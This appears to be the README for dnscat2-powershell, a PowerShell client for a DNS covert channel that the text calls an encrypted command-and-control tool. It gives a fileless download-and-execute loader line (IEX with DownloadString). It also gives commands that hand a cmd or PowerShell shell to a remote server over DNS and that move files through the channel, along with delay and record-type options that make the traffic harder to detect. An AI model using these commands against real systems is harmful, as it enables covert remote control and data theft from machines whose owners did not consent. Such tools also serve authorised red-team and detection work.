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- The upload and download functions inside the command session only work consistently with small files.
- Please use the original executable client if you require larger file transfers.

dnscat2 is a DNS covert channel tool by @iagox86 (Ron Bowes) which is used to transfer data over DNS requests.

This is a powershell version of the dnscat2 C client.

Click here for a blog post that gives a more detailed breakdown of the purpose of this script, and how to use it.

To use this script, you'll need the ruby dnscat2 server. Make sure to add the --no-cache option when running the server. This client is incompatible with the server's caching.


First, install the dnscat2 server. Start the server with caching disabled using --no-cache. The command to start your server should look something like this: ruby dnscat2.rb --dns="" --no-cache

Next, launch Windows Powershell (version 2.0 or later). You can use this command to load the dnscat2 powershell functions:

IEX (New-Object System.Net.Webclient).DownloadString('')


Start-Dnscat2 is the actual function used as the client. Specifiy the dnscat2 server using -Domain.

Start a command session, and send DNS requests to on port 53:
    Start-Dnscat2 -Domain <dnscat2 server> -DNSServer

Send a cmd shell, and send DNS requests to the default DNS Server set in Windows:
    Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd

Start a console session. Only use CNAME, MX, and AAAA requests:
    Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console

Do not encrypt the session. Encryption is enabled by default.
    Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption

Powershell Command Session Commands

The client can handle normal dnscat2 commands, or the powershell version of that command. To use the powershell version of a command, set specific parameters the client will detect (These are commands run from a command session on the server):

Start a new session which simulates a Powershell shell, like ExecPS:
    exec psh

Upload app.exe on the server into a hex string stored in the $app powershell variable:
    upload app.exe hex:$app

Download the byte array stored in the $app powershell variable to app.exe on the server:
    download bytes:$app app.exe


-Domain <String>          The Domain being used by the dnscat2 server.
-DNSServer <String>       The hostname or IP Address to send DNS queries to. (Default: Set by Windows)
-DNSPort <Int32>          The port to send DNS queries to. (Default: 53)

-Command                  Start a command session. (Default)
-Exec <String>            Link the I/O of a process with the Dnscat2 session.
-Console                  Link the I/O of the console with the Dnscat2 session.
-ExecPS                   Simulate a Powershell session and link the IO with the Dnscat2 session.
                          WARNING: Exiting will kill the entire dnscat2 client, not just the session.

-PreSharedSecret          Set the same secret on the server to authenticate and prevent MITM.
-NoEncryption             Do not use encryption.

-LookupTypes <String[]>   Set an array of lookup types to randomly switch between.
                          Only TXT, MX, CNAME, A, and AAAA records are supported. Default: @(TXT, MX, CNAME)
-Delay <Int32>            Set a delay between each request, in milliseconds. (Default: 0)
-MaxRandomDelay <Int32>   Set the max value of a random delay added to the normal delay, in milliseconds. (Default: 0)
-MaxPacketSize <Int32>    Maximum length of a dnscat2 packet. (Default: 240)
-Name <String>            The name of your dnscat2 session. (Default: hostname)

ExecPS and 'exec psh'

dnscat2-powershell simulates a powershell session by passing data from the server to Invoke-Expression. Only stdout is returned, and variables are preserved as long as the client is running. Watch out for things that exit powershell like "exit" and "break", because the entire dnscat2-powershell client will exit, not just the ExecPS session.

Other Credits


A Powershell client for dnscat2, an encrypted DNS command and control tool.




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